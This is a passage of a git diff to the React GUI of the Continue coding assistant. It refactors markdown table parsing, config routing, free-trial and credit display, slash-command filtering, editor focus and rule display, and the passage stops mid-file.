a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx index 0b13367c4..03cfe5a89 100644 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx @@ -1,3 +1,4 @@ +import { evaluateTerminalCommandSecurity } from "@continuedev/terminal-security"; import { ChevronDownIcon, ExclamationTriangleIcon, @@ -25,7 +26,6 @@ import { CreateFileButton } from "./CreateFileButton"; import { FileInfo } from "./FileInfo"; import { InsertButton } from "./InsertButton"; import { RunInTerminalButton } from "./RunInTerminalButton"; -import { evaluateTerminalCommandSecurity } from "@continuedev/terminal-security"; export interface StepContainerPreToolbarProps { showToolCallStatusIcon?: boolean; @@ -44,6 +44,9 @@ export interface StepContainerPreToolbarProps { collapsible?: boolean; } +export const DANGEROUS_COMMAND_WARNING_MESSAGE = + "Potentially dangerous command"; + export function StepContainerPreToolbar({ showToolCallStatusIcon, codeBlockContent, @@ -338,10 +341,7 @@ export function StepContainerPreToolbar({ {securityWarning && (
- - This code contains potentially dangerous commands. Please review and - understand the code before running. - + {DANGEROUS_COMMAND_WARNING_MESSAGE}
)}
code) { font-family: var(--vscode-editor-font-family); } diff --git a/gui/src/components/StyledMarkdownPreview/markdown.css b/gui/src/components/StyledMarkdownPreview/markdown.css index afb57b9fa..d9dfcfa2d 100644 --- a/gui/src/components/StyledMarkdownPreview/markdown.css +++ b/gui/src/components/StyledMarkdownPreview/markdown.css @@ -1038,3 +1038,6 @@ body[data-color-mode*="light"] { .token.entity { cursor: help; } +.mermaid foreignObject { + width: 100%; +} diff --git a/gui/src/components/StyledMarkdownPreview/utils/remarkTables.tsx b/gui/src/components/StyledMarkdownPreview/utils/remarkTables.tsx index db26e4b3f..a8ecc29b6 100644 --- a/gui/src/components/StyledMarkdownPreview/utils/remarkTables.tsx +++ b/gui/src/components/StyledMarkdownPreview/utils/remarkTables.tsx @@ -23,9 +23,34 @@ import { visit } from "unist-util-visit"; export function remarkTables() { return (tree: any) => { visit(tree, "paragraph", (paragraphNode, index, parentOfParagraphNode) => { - let buffer = ""; - visit(paragraphNode, "text", (textNode) => { - buffer += textNode.value; + // Collect all child nodes into a buffer, preserving their types + const buffer: any[] = []; + paragraphNode.children.forEach((child: any) => { + buffer.push(child); + }); + + // Flatten buffer to a string for regex matching, but keep track of positions + let bufferString = ""; + const positions: { start: number; end: number; node: any }[] = []; + + // Recursive renderer for inline nodes -> markdown-ish text + function renderInline(node: any): string { + if (!node) return ""; + if (Array.isArray(node.children)) { + return node.children.map(renderInline).join(""); + } + if (typeof node.value === "string") { + return node.value; + } + return ""; + } + + buffer.forEach((item) => { + const start = bufferString.length; + // renderInline returns a markdown-like string for inline nodes so decorations are preserved + const rendered = renderInline(item); + bufferString += rendered; + positions.push({ start, end: bufferString.length, node: item }); }); const tableRegex = @@ -33,7 +58,7 @@ export function remarkTables() { //// header // newline // |:---|----:| // new line // table rows // prevent modifying if no markdown tables are present - if (!buffer.match(tableRegex)) { + if (!bufferString.match(tableRegex)) { return; } @@ -42,7 +67,7 @@ export function remarkTables() { const newNodes = []; let failed = false; - while ((match = tableRegex.exec(buffer)) !== null) { + while ((match = tableRegex.exec(bufferString)) !== null) { const fullTableString = match[0]; const headerGroup = match[1]; const separatorGroup = match[2]; @@ -104,16 +129,46 @@ export function remarkTables() { ], }; - // Add any text before the table as a text node - if (match.index > lastIndex) { - newNodes.push({ - type: "text", - value: buffer.slice(lastIndex, match.index), - }); - } + // Add any nodes before/after the table in one go + const tableStart = match.index; + const tableEnd = match.index + fullTableString.length; - // Add table node + // Process the text within the table and the surrounding text together + const beforeNodes: any[] = []; + const afterNodes: any[] = []; + + positions.forEach((pos) => { + if (pos.end <= tableStart) { + beforeNodes.push(pos.node); + } else if (pos.start >= tableEnd) { + afterNodes.push(pos.node); + } else if (pos.node.type === "text") { + // Node is text and overlaps with table, may need splitting + const beforeText = pos.node.value.slice( + 0, + Math.max(0, tableStart - pos.start), + ); + const afterText = pos.node.value.slice( + Math.max(0, tableEnd - pos.start), + ); + if (beforeText) + beforeNodes.push({ type: "text", value: beforeText }); + if (afterText) + afterNodes.push({ type: "text", value: afterText }); + } else { + // Node overlaps with table but isn't text (e.g., inlineCode, emphasis, etc.) + if (pos.start < tableStart) beforeNodes.push(pos.node); + if (pos.end > tableEnd) afterNodes.push(pos.node); + } + }); + + // Add to new nodes + newNodes.push(...beforeNodes); newNodes.push(tableNode); + newNodes.push(...afterNodes); + + // Mark positions as consumed + positions.length = 0; } catch (e) { console.error("Failed to parse markdown table after regex match", e); newNodes.push({ @@ -129,14 +184,6 @@ export function remarkTables() { return; } - // Add any remaining text after the last table - if (lastIndex < buffer.length) { - newNodes.push({ - type: "text", - value: buffer.slice(lastIndex), - }); - } - // Replace the original paragraph node with the new nodes if (newNodes.length > 0) { parentOfParagraphNode.children.splice(index, 1, ...newNodes); diff --git a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx index d776ba6e4..f048af8fb 100644 --- a/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx +++ b/gui/src/components/UnifiedTerminal/UnifiedTerminal.tsx @@ -423,7 +423,7 @@ export function UnifiedTerminalCommand({ className="mx-2 mb-4" data-testid="terminal-container" > -
+
{/* Toolbar */}
{ const { refreshProfiles } = useAuth(); const configError = useAppSelector((store) => store.config.configError); const ideMessenger = useContext(IdeMessengerContext); - + const location = useLocation(); const navigate = useNavigate(); const hasFatalErrors = useMemo(() => { @@ -18,10 +18,10 @@ export const FatalErrorIndicator = () => { }, [configError]); const configLoading = useAppSelector((state) => state.config.loading); - const showConfigPage = () => { - navigate(CONFIG_ROUTES.AGENTS); + navigate(CONFIG_ROUTES.CONFIGS); }; + const currentPath = `${location.pathname}${location.search}`; const { selectedProfile } = useAuth(); @@ -32,7 +32,7 @@ export const FatalErrorIndicator = () => { const displayName = selectedProfile ? (selectedProfile.title ?? `${selectedProfile.fullSlug?.ownerSlug}/${selectedProfile.fullSlug?.packageSlug}`) - : "agent"; + : "config"; return ( @@ -64,9 +64,11 @@ export const FatalErrorIndicator = () => { Reload
)} -
- View -
+ {currentPath !== CONFIG_ROUTES.CONFIGS && ( +
+ View +
+ )}
); diff --git a/gui/src/components/gui/ErrorStepContainer.tsx b/gui/src/components/gui/ErrorStepContainer.tsx deleted file mode 100644 index 80526132c..000000000 --- a/gui/src/components/gui/ErrorStepContainer.tsx +++ /dev/null @@ -1,51 +0,0 @@ -import { MinusCircleIcon, XMarkIcon } from "@heroicons/react/24/outline"; -import { ContinueError } from "core"; -import styled from "styled-components"; -import { defaultBorderRadius, vscBackground } from ".."; -import HeaderButtonWithToolTip from "./HeaderButtonWithToolTip"; - -const Div = styled.div` - padding: 8px; - background-color: #ff000011; - border-radius: ${defaultBorderRadius}; - border: 1px solid #cc0000; - margin: 8px; -`; - -interface ErrorStepContainerProps { - error: ContinueError; - onClose: () => void; - onDelete: () => void; -} - -function ErrorStepContainer(props: ErrorStepContainerProps) { - return ( -
-
- props.onClose()} - > - - - props.onDelete()}> - - -
-
-
-          {props.error.message as string}
-        
-
-
- ); -} - -export default ErrorStepContainer; diff --git a/gui/src/components/gui/Switch.tsx b/gui/src/components/gui/Switch.tsx index ddb90af9d..ab70b06b4 100644 --- a/gui/src/components/gui/Switch.tsx +++ b/gui/src/components/gui/Switch.tsx @@ -38,7 +38,14 @@ const ToggleSwitch: React.FC = ({ {isToggled && !!showIfToggled && showIfToggled}
{ + e.stopPropagation(); + onToggle(); + } + } style={{ height: size, width: size * 2, diff --git a/gui/src/components/loaders/FreeTrialProgressBar.tsx b/gui/src/components/loaders/FreeTrialProgressBar.tsx deleted file mode 100644 index 2b677bd9c..000000000 --- a/gui/src/components/loaders/FreeTrialProgressBar.tsx +++ /dev/null @@ -1,77 +0,0 @@ -import { ExclamationCircleIcon } from "@heroicons/react/24/outline"; -import { useDispatch } from "react-redux"; -import { useNavigate } from "react-router-dom"; -import { AddModelForm } from "../../forms/AddModelForm"; -import { setDialogMessage, setShowDialog } from "../../redux/slices/uiSlice"; -import { FREE_TRIAL_LIMIT_REQUESTS } from "../../util/freeTrial"; -import { ToolTip } from "../gui/Tooltip"; - -interface FreeTrialProgressBarProps { - completed: number; - total: number; -} - -function FreeTrialProgressBar({ completed, total }: FreeTrialProgressBarProps) { - const dispatch = useDispatch(); - const navigate = useNavigate(); - const fillPercentage = Math.min(100, Math.max(0, (completed / total) * 100)); - - function onClick() { - dispatch(setShowDialog(true)); - dispatch( - setDialogMessage( - { - dispatch(setShowDialog(false)); - navigate("/"); - }} - />, - ), - ); - } - - if (completed > total) { - return ( - -
- - Trial limit reached -
-
- ); - } - - return ( - -
- - Free trial requests - -
-
0.75 ? "bg-amber-500" : "bg-stone-500" - }`} - style={{ - width: `${fillPercentage}%`, - }} - /> -
- - {completed} / {total} - -
- - ); -} - -export default FreeTrialProgressBar; diff --git a/gui/src/components/mainInput/ContinueInputBox.tsx b/gui/src/components/mainInput/ContinueInputBox.tsx index 3b2ed52ea..c57dbd9d0 100644 --- a/gui/src/components/mainInput/ContinueInputBox.tsx +++ b/gui/src/components/mainInput/ContinueInputBox.tsx @@ -1,5 +1,10 @@ import { Editor, JSONContent } from "@tiptap/react"; -import { ContextItemWithId, InputModifiers, RuleWithSource } from "core"; +import { + ContextItemWithId, + InputModifiers, + RuleMetadata, + SlashCommandSource, +} from "core"; import { memo, useMemo } from "react"; import { defaultBorderRadius, vscBackground } from ".."; import { useAppSelector } from "../../redux/hooks"; @@ -21,7 +26,7 @@ interface ContinueInputBoxProps { ) => void; editorState?: JSONContent; contextItems?: ContextItemWithId[]; - appliedRules?: RuleWithSource[]; + appliedRules?: RuleMetadata[]; hidden?: boolean; inputId: string; // used to keep track of things per input in redux } @@ -38,6 +43,15 @@ const EDIT_DISALLOWED_CONTEXT_PROVIDERS = [ "repo-map", ]; +const EDIT_ALLOWED_SLASH_COMMAND_SOURCES: SlashCommandSource[] = [ + "yaml-prompt-block", + "mcp-prompt", + "prompt-file-v1", + "prompt-file-v2", + "invokable-rule", + "json-custom-command", +]; + function ContinueInputBox(props: ContinueInputBoxProps) { const isStreaming = useAppSelector((state) => state.session.isStreaming); const availableSlashCommands = useAppSelector( @@ -50,7 +64,14 @@ function ContinueInputBox(props: ContinueInputBoxProps) { const editModeState = useAppSelector((state) => state.editModeState); const filteredSlashCommands = useMemo(() => { - return isInEdit ? [] : availableSlashCommands; + if (isInEdit) { + return availableSlashCommands.filter((cmd) => + cmd.slashCommandSource + ? EDIT_ALLOWED_SLASH_COMMAND_SOURCES.includes(cmd.slashCommandSource) + : false, + ); + } + return availableSlashCommands; }, [isInEdit, availableSlashCommands]); const filteredContextProviders = useMemo(() => { @@ -94,9 +115,11 @@ function ContinueInputBox(props: ContinueInputBoxProps) {
{props.isMainInput && } diff --git a/gui/src/components/mainInput/InputToolbar.tsx b/gui/src/components/mainInput/InputToolbar.tsx index 25355a7bd..e89eb145a 100644 --- a/gui/src/components/mainInput/InputToolbar.tsx +++ b/gui/src/components/mainInput/InputToolbar.tsx @@ -56,7 +56,6 @@ function InputToolbar(props: InputToolbarProps) { const hasReasoningEnabled = useAppSelector( (store) => store.session.hasReasoningEnabled, ); - const isEnterDisabled = props.disabled || (isInEdit && codeToEdit.length === 0); @@ -223,8 +222,8 @@ function InputToolbar(props: InputToolbarProps) { props.onEnter({ useCodebase: false, noContext: useActiveFile - ? !(isMetaEquivalentKeyPressed(e as any) || e.altKey) - : isMetaEquivalentKeyPressed(e as any) || e.altKey, + ? isMetaEquivalentKeyPressed(e as any) || e.altKey + : !(isMetaEquivalentKeyPressed(e as any) || e.altKey), }); } }} diff --git a/gui/src/components/mainInput/Lump/EditBlockButton.tsx b/gui/src/components/mainInput/Lump/EditBlockButton.tsx deleted file mode 100644 index ca8df051c..000000000 --- a/gui/src/components/mainInput/Lump/EditBlockButton.tsx +++ /dev/null @@ -1,58 +0,0 @@ -import { ConfigYaml } from "@continuedev/config-yaml"; -import { PencilIcon } from "@heroicons/react/24/outline"; -import { useContext } from "react"; -import { useAuth } from "../../../context/Auth"; -import { IdeMessengerContext } from "../../../context/IdeMessenger"; - -type SectionKey = Exclude< - keyof ConfigYaml, - "name" | "version" | "schema" | "metadata" | "env" | "requestOptions" ->; - -interface EditBlockButtonProps { - blockType: T; - block?: NonNullable[T]>[number]; - className?: string; - sourceFile?: string; -} - -function isUsesBlock(block: any): block is { uses: string } { - return typeof block !== "string" && "uses" in block; -} - -export default function EditBlockButton({ - block, - blockType, - className = "", - sourceFile, -}: EditBlockButtonProps) { - const ideMessenger = useContext(IdeMessengerContext); - const { selectedProfile } = useAuth(); - - const openUrl = (path: string) => - ideMessenger.request("controlPlane/openUrl", { - path, - orgSlug: undefined, - }); - - const handleEdit = () => { - if (selectedProfile?.profileType === "local") { - ideMessenger.post("config/openProfile", { - profileId: undefined, - element: { sourceFile }, - }); - } else if (block && isUsesBlock(block)) { - void openUrl(`${block.uses}/new-version`); - } else if (selectedProfile?.fullSlug) { - const slug = `${selectedProfile.fullSlug.ownerSlug}/${selectedProfile.fullSlug.packageSlug}`; - void openUrl(`${slug}/new-version`); - } - }; - - return ( - - ); -} diff --git a/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx b/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx index cc83b9c46..2f022ea5a 100644 --- a/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx +++ b/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx @@ -1,10 +1,11 @@ import { CubeIcon, ExclamationTriangleIcon, + GiftIcon, PencilIcon, WrenchScrewdriverIcon, } from "@heroicons/react/24/outline"; -import { useContext, useEffect, useState } from "react"; +import { useContext } from "react"; import { useNavigate } from "react-router-dom"; import { IdeMessengerContext } from "../../../../context/IdeMessenger"; import { useAppDispatch, useAppSelector } from "../../../../redux/hooks"; @@ -13,14 +14,12 @@ import { selectToolCallsByStatus, } from "../../../../redux/selectors/selectToolCalls"; import { setSelectedProfile } from "../../../../redux/slices/profilesSlice"; -import FreeTrialButton from "../../../FreeTrialButton"; +import StarterCreditsPopover from "../../../StarterCreditsPopover"; import { ToolTip } from "../../../gui/Tooltip"; import HoverItem from "../../InputToolbar/HoverItem"; -import { usesFreeTrialApiKey } from "core/config/usesFreeTrialApiKey"; -import type { FreeTrialStatus } from "core/control-plane/client"; import { useAuth } from "../../../../context/Auth"; -import { getLocalStorage } from "../../../../util/localStorage"; +import { useCreditStatus } from "../../../../hooks/useCredits"; import { CONFIG_ROUTES } from "../../../../util/navigation"; import { AssistantAndOrgListbox } from "../../../AssistantAndOrgListbox"; @@ -30,7 +29,6 @@ export function BlockSettingsTopToolbar() { const { selectedProfile } = useAuth(); const configError = useAppSelector((store) => store.config.configError); - const config = useAppSelector((state) => state.config.config); const ideMessenger = useContext(IdeMessengerContext); const pendingToolCalls = useAppSelector(selectPendingToolCalls); @@ -40,40 +38,11 @@ export function BlockSettingsTopToolbar() { const hasActiveContent = pendingToolCalls.length > 0 || callingToolCalls.length > 0; - const [freeTrialStatus, setFreeTrialStatus] = - useState(null); - const hasExitedFreeTrial = getLocalStorage("hasExitedFreeTrial"); - const isUsingFreeTrial = usesFreeTrialApiKey(config) && !hasExitedFreeTrial; - - useEffect(() => { - const fetchFreeTrialStatus = () => { - ideMessenger - .request("controlPlane/getFreeTrialStatus", undefined) - .then((resp) => { - if (resp.status === "success") { - setFreeTrialStatus(resp.content); - } - }) - .catch(() => {}); - }; - - fetchFreeTrialStatus(); - - let intervalId: NodeJS.Timeout | null = null; - - if (isUsingFreeTrial) { - intervalId = setInterval(fetchFreeTrialStatus, 15000); - } - - return () => { - if (intervalId) { - clearInterval(intervalId); - } - }; - }, [ideMessenger, isUsingFreeTrial]); - const shouldShowError = configError && configError?.length > 0; + const { creditStatus, isUsingFreeTrial, refreshCreditStatus } = + useCreditStatus(); + const handleRulesClick = () => { if (selectedProfile) { dispatch(setSelectedProfile(selectedProfile.id)); @@ -105,18 +74,18 @@ export function BlockSettingsTopToolbar() { }; return ( -
+
{shouldShowError && (
navigate(CONFIG_ROUTES.AGENTS)} + onClick={() => navigate(CONFIG_ROUTES.CONFIGS)} onKeyDown={(e) => { if (e.key === "Enter" || e.key === " ") { e.preventDefault(); - navigate(CONFIG_ROUTES.AGENTS); + navigate(CONFIG_ROUTES.CONFIGS); } }} data-testid="block-settings-toolbar-icon-error" @@ -132,6 +101,19 @@ export function BlockSettingsTopToolbar() { {!hasActiveContent && (
+ {isUsingFreeTrial && ( + + + + + + + + )} + @@ -153,16 +135,9 @@ export function BlockSettingsTopToolbar() { )}
- +
- {isUsingFreeTrial ? ( - - ) : ( - - )} +
diff --git a/gui/src/components/mainInput/Lump/LumpToolbar/LumpToolbar.tsx b/gui/src/components/mainInput/Lump/LumpToolbar/LumpToolbar.tsx index 09c85c3a2..8d10cb845 100644 --- a/gui/src/components/mainInput/Lump/LumpToolbar/LumpToolbar.tsx +++ b/gui/src/components/mainInput/Lump/LumpToolbar/LumpToolbar.tsx @@ -12,6 +12,7 @@ import { callToolById } from "../../../../redux/thunks/callToolById"; import { cancelStream } from "../../../../redux/thunks/cancelStream"; import { logToolUsage } from "../../../../redux/util"; import { isJetBrains } from "../../../../util"; +import { useMainEditor } from "../../TipTapEditor"; import { BlockSettingsTopToolbar } from "./BlockSettingsTopToolbar"; import { EditOutcomeToolbar } from "./EditOutcomeToolbar"; import { EditToolbar } from "./EditToolbar"; @@ -64,6 +65,7 @@ export function LumpToolbar() { (state) => state.status === "done", ); const isApplying = applyStates.some((state) => state.status === "streaming"); + const editor = useMainEditor(); // Get ALL running terminal commands const runningToolCalls = useAppSelector((state) => @@ -140,7 +142,10 @@ export function LumpToolbar() { // Stop running terminal commands void handleStopAction(); } else if (firstPendingToolCall) { - // Cancel pending tool call + // Cancel pending tool call. If last call, focus editor + if (pendingToolCalls.length === 1) { + editor.mainEditor?.commands.focus(); + } void dispatch( cancelToolCall({ toolCallId: firstPendingToolCall.toolCallId, @@ -155,7 +160,13 @@ export function LumpToolbar() { return () => { document.removeEventListener("keydown", handleToolCallKeyboardShortcuts); }; - }, [firstPendingToolCall, hasRunningTerminalCommand, runningTerminalCalls]); + }, [ + firstPendingToolCall, + pendingToolCalls, + editor, + hasRunningTerminalCommand, + runningTerminalCalls, + ]); if (isApplying) { return ; diff --git a/gui/src/components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar.tsx b/gui/src/components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar.tsx index 6d3346f53..7b08c6eaf 100644 --- a/gui/src/components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar.tsx +++ b/gui/src/components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar.tsx @@ -4,6 +4,7 @@ import { callToolById } from "../../../../redux/thunks/callToolById"; import { cancelToolCallThunk } from "../../../../redux/thunks/cancelToolCall"; import { getAltKeyLabel, getMetaKeyLabel, isJetBrains } from "../../../../util"; import { Button } from "../../../ui"; +import { useMainEditor } from "../../TipTapEditor"; export const generateToolCallButtonTestId = ( action: "accept" | "reject", @@ -16,6 +17,7 @@ export function PendingToolCallToolbar() { const dispatch = useAppDispatch(); const jetbrains = isJetBrains(); const pendingToolCalls = useAppSelector(selectPendingToolCalls); + const editor = useMainEditor(); if (pendingToolCalls.length === 0) { return null; @@ -26,6 +28,10 @@ export function PendingToolCallToolbar() { }; const handleReject = (toolCallId: string) => { + // put cursor in editor after last rejection + if (pendingToolCalls.length === 1) { + editor.mainEditor?.commands.focus(); + } void dispatch(cancelToolCallThunk({ toolCallId })); }; diff --git a/gui/src/components/mainInput/Lump/useEditBlock.ts b/gui/src/components/mainInput/Lump/useEditBlock.ts new file mode 100644 index 000000000..06065ff60 --- /dev/null +++ b/gui/src/components/mainInput/Lump/useEditBlock.ts @@ -0,0 +1,83 @@ +import { ModelDescription, RuleMetadata } from "core"; +import { DEFAULT_SYSTEM_MESSAGES_URL } from "core/llm/defaultSystemMessages"; +import { useContext } from "react"; +import { useAuth } from "../../../context/Auth"; +import { IdeMessengerContext } from "../../../context/IdeMessenger"; + +export function useEditBlock() { + const ideMessenger = useContext(IdeMessengerContext); + const { selectedProfile } = useAuth(); + + return (slug?: string, sourceFile?: string) => { + if (slug) { + ideMessenger.post("controlPlane/openUrl", { + path: `${slug}/new-version`, + orgSlug: undefined, + }); + } else if (sourceFile) { + ideMessenger.post("openFile", { + path: sourceFile, + }); + } else if ( + selectedProfile?.profileType === "local" && + selectedProfile?.uri + ) { + ideMessenger.post("openFile", { + path: selectedProfile.uri, + }); + } else if ( + selectedProfile?.fullSlug?.ownerSlug && + selectedProfile?.fullSlug.packageSlug + ) { + ideMessenger.post("controlPlane/openUrl", { + path: `${selectedProfile.fullSlug.ownerSlug}/${selectedProfile.fullSlug.packageSlug}/new-version`, + orgSlug: undefined, + }); + } else { + // Local etc + ideMessenger.post("config/openProfile", { + profileId: undefined, + }); + } + }; +} + +export function useEditModel() { + const editBlock = useEditBlock(); + return (model?: ModelDescription | null) => { + editBlock(undefined, model?.sourceFile); + }; +} + +export function useEditDoc() { + const editBlock = useEditBlock(); + return ( + docConfig?: { uses?: string } | { name: string; sourceFile?: string }, + ) => { + if (!docConfig) { + editBlock(undefined, undefined); + return; + } + if ("name" in docConfig) { + editBlock(undefined, docConfig.sourceFile); + } else { + editBlock(docConfig.uses, undefined); + } + }; +} + +export function useOpenRule() { + const editBlock = useEditBlock(); + const ideMessenger = useContext(IdeMessengerContext); + return (rule: RuleMetadata) => { + if ( + rule.source === "default-chat" || + rule.source === "default-plan" || + rule.source === "default-agent" + ) { + ideMessenger.post("openUrl", DEFAULT_SYSTEM_MESSAGES_URL); + } else { + editBlock(rule?.slug, rule?.sourceFile); + } + }; +} diff --git a/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx b/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx index 87c838493..c19ae0af2 100644 --- a/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx +++ b/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx @@ -57,7 +57,7 @@ function TipTapEditorInner(props: TipTapEditorProps) { const historyLength = useAppSelector((store) => store.session.history.length); const isInEdit = useAppSelector((store) => store.session.isInEdit); - const { editor, onEnterRef } = createEditorConfig({ + const { editor, onEnter } = createEditorConfig({ props, ideMessenger, dispatch, @@ -68,9 +68,16 @@ function TipTapEditorInner(props: TipTapEditorProps) { if (props.isMainInput && editor) { mainEditorContext.setMainEditor(editor); mainEditorContext.setInputId(props.inputId); - mainEditorContext.onEnterRef.current = onEnterRef.current; + mainEditorContext.onEnterRef.current = onEnter; } - }, [editor, props.isMainInput, props.inputId, mainEditorContext, onEnterRef]); + }, [ + editor, + props.isMainInput, + props.inputId, + mainEditorContext, + onEnter, + isStreaming, + ]); const [shouldHideToolbar, setShouldHideToolbar] = useState(true); @@ -272,7 +279,7 @@ function TipTapEditorInner(props: TipTapEditorProps) { activeKey={activeKey} hidden={shouldHideToolbar && !props.isMainInput} onAddContextItem={() => insertCharacterWithWhitespace("@")} - onEnter={onEnterRef.current} + onEnter={onEnter} onImageFileSelected={(file) => { void handleImageFile(ideMessenger, file).then((result) => { if (!editor) { diff --git a/gui/src/components/mainInput/TipTapEditor/useMainEditorWebviewListeners.ts b/gui/src/components/mainInput/TipTapEditor/useMainEditorWebviewListeners.ts index 0fe79297c..b2ba02793 100644 --- a/gui/src/components/mainInput/TipTapEditor/useMainEditorWebviewListeners.ts +++ b/gui/src/components/mainInput/TipTapEditor/useMainEditorWebviewListeners.ts @@ -198,4 +198,29 @@ export function useMainEditorWebviewListeners({ }, [editor, activeContextProviders, isInEdit, useCurrentFileAsContext], ); + + useWebviewListener( + "addToChat", + async (data) => { + if (!editor) return; + let chain = editor.chain(); + + for (let mention of data.data) { + chain + .insertContent({ + type: "mention", + attrs: { + id: mention.fullPath, + query: mention.fullPath, + itemType: mention.type, + label: mention.name, + }, + }) + .insertContent(" "); + } + + chain.run(); + }, + [editor], + ); } diff --git a/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts b/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts index 20ad8ba51..2ecd4d41a 100644 --- a/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts +++ b/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts @@ -200,7 +200,7 @@ export function createEditorConfig(options: { return false; } - onEnterRef.current({ + onEnter({ useCodebase: false, noContext: !useActiveFile, }); @@ -210,7 +210,7 @@ export function createEditorConfig(options: { "Mod-Enter": () => { posthog.capture("gui_use_active_file_enter"); - onEnterRef.current({ + onEnter({ useCodebase: false, noContext: !!useActiveFile, }); @@ -220,7 +220,7 @@ export function createEditorConfig(options: { "Alt-Enter": () => { posthog.capture("gui_use_active_file_enter"); - onEnterRef.current({ + onEnter({ useCodebase: false, noContext: !!useActiveFile, }); @@ -346,30 +346,27 @@ export function createEditorConfig(options: { editable: !isStreaming || props.isMainInput, }); - const onEnterRef = useUpdatingRef( - (modifiers: InputModifiers) => { - if (!editor) { - return; - } - if (isStreaming || (codeToEdit.length === 0 && isInEdit)) { - return; - } + const onEnter = (modifiers: InputModifiers) => { + if (!editor) { + return; + } + if (isStreamingRef.current || (codeToEdit.length === 0 && isInEdit)) { + return; + } - const json = editor.getJSON(); + const json = editor.getJSON(); - // Don't do anything if input box doesn't have valid content - if (!hasValidEditorContent(json)) { - return; - } + // Don't do anything if input box doesn't have valid content + if (!hasValidEditorContent(json)) { + return; + } - if (props.isMainInput) { - addRef.current(json); - } + if (props.isMainInput) { + addRef.current(json); + } - props.onEnter(json, modifiers, editor); - }, - [props.onEnter, editor, props.isMainInput, codeToEdit, isInEdit], - ); + props.onEnter(json, modifiers, editor); + }; - return { editor, onEnterRef }; + return { editor, onEnter }; } diff --git a/gui/src/components/mainInput/TipTapEditor/utils/renderPromptv2.ts b/gui/src/components/mainInput/TipTapEditor/utils/renderPromptv2.ts index afc6c2e2c..64960312b 100644 --- a/gui/src/components/mainInput/TipTapEditor/utils/renderPromptv2.ts +++ b/gui/src/components/mainInput/TipTapEditor/utils/renderPromptv2.ts @@ -13,8 +13,8 @@ export async function getPromptV2ContextRequests( } const workspaceDirs = await ideMessenger.ide.getWorkspaceDirs(); const visitedFiles = new Set(); - if (command.promptFile) { - visitedFiles.add(command.promptFile); + if (command.sourceFile) { + visitedFiles.add(command.sourceFile); } const contextRequests: GetContextRequest[] = []; diff --git a/gui/src/components/mainInput/TipTapEditor/utils/renderSlashCommand.ts b/gui/src/components/mainInput/TipTapEditor/utils/renderSlashCommand.ts index 8da2ed89d..da0c5736a 100644 --- a/gui/src/components/mainInput/TipTapEditor/utils/renderSlashCommand.ts +++ b/gui/src/components/mainInput/TipTapEditor/utils/renderSlashCommand.ts @@ -1,5 +1,6 @@ import { MessagePart, RangeInFile, SlashCommandDescWithSource } from "core"; import { stripImages } from "core/util/messageContent"; +import posthog from "posthog-js"; import { IIdeMessenger } from "../../../../context/IdeMessenger"; import { renderMcpPrompt } from "./renderMcpPrompt"; import { getRenderedV1Prompt } from "./renderPromptv1"; @@ -36,6 +37,16 @@ export async function renderSlashCommandPrompt( return NO_COMMAND; } + try { + posthog.capture("useSlashCommand", { + name: command.name, + source: command.source, + isLegacy: command.isLegacy, + }); + } catch (e) { + console.error(e); + } + const nonTextParts = parts.filter((part) => part.type !== "text"); const textParts = parts.filter((part) => part.type === "text"); const slashedParts: MessagePart[] = [...nonTextParts]; diff --git a/gui/src/components/mainInput/belowMainInput/RulesPeek.tsx b/gui/src/components/mainInput/belowMainInput/RulesPeek.tsx index 2dd29c13e..32b94cef2 100644 --- a/gui/src/components/mainInput/belowMainInput/RulesPeek.tsx +++ b/gui/src/components/mainInput/belowMainInput/RulesPeek.tsx @@ -1,73 +1,28 @@ import { DocumentTextIcon, GlobeAltIcon } from "@heroicons/react/24/outline"; -import { RuleWithSource } from "core"; -import { getLastNPathParts } from "core/util/uri"; -import { ComponentType, useMemo, useState } from "react"; +import { RuleMetadata } from "core"; +import { getRuleSourceDisplayName } from "core/llm/rules/rules-utils"; +import { ComponentType, useMemo } from "react"; import ToggleDiv from "../../ToggleDiv"; +import { useOpenRule } from "../Lump/useEditBlock"; interface RulesPeekProps { - appliedRules?: RuleWithSource[]; + appliedRules?: RuleMetadata[]; icon?: ComponentType>; } interface RulesPeekItemProps { - rule: RuleWithSource; + rule: RuleMetadata; } -// Convert technical source to user-friendly text -const getSourceLabel = (rule: RuleWithSource): string => { - switch (rule.source) { - case "default-chat": - return "Default Chat"; - case "default-agent": - return "Default Agent"; - case "model-options-chat": - return "Model Chat Options"; - case "model-options-plan": - return "Model Plan Options"; - case "model-options-agent": - return "Model Agent Options"; - case "rules-block": - return "Rules Block"; - case "colocated-markdown": - if (rule.ruleFile) { - return getLastNPathParts(rule.ruleFile, 2); - } else { - return "rules.md"; - } - case "json-systemMessage": - return "System Message"; - case ".continuerules": - return "Project Rules"; - default: - return rule.source; - } -}; - export function RulesPeekItem({ rule }: RulesPeekItemProps) { const isGlobal = rule.alwaysApply ?? !rule.globs; - const [expanded, setExpanded] = useState(false); - - // Define maximum length for rule text display - const maxRuleLength = 100; - const isRuleLong = rule.rule.length > maxRuleLength; - - // Get the displayed rule text based on expanded state - const displayedRule = - isRuleLong && !expanded - ? `${rule.rule.slice(0, maxRuleLength)}...` - : rule.rule; - - const 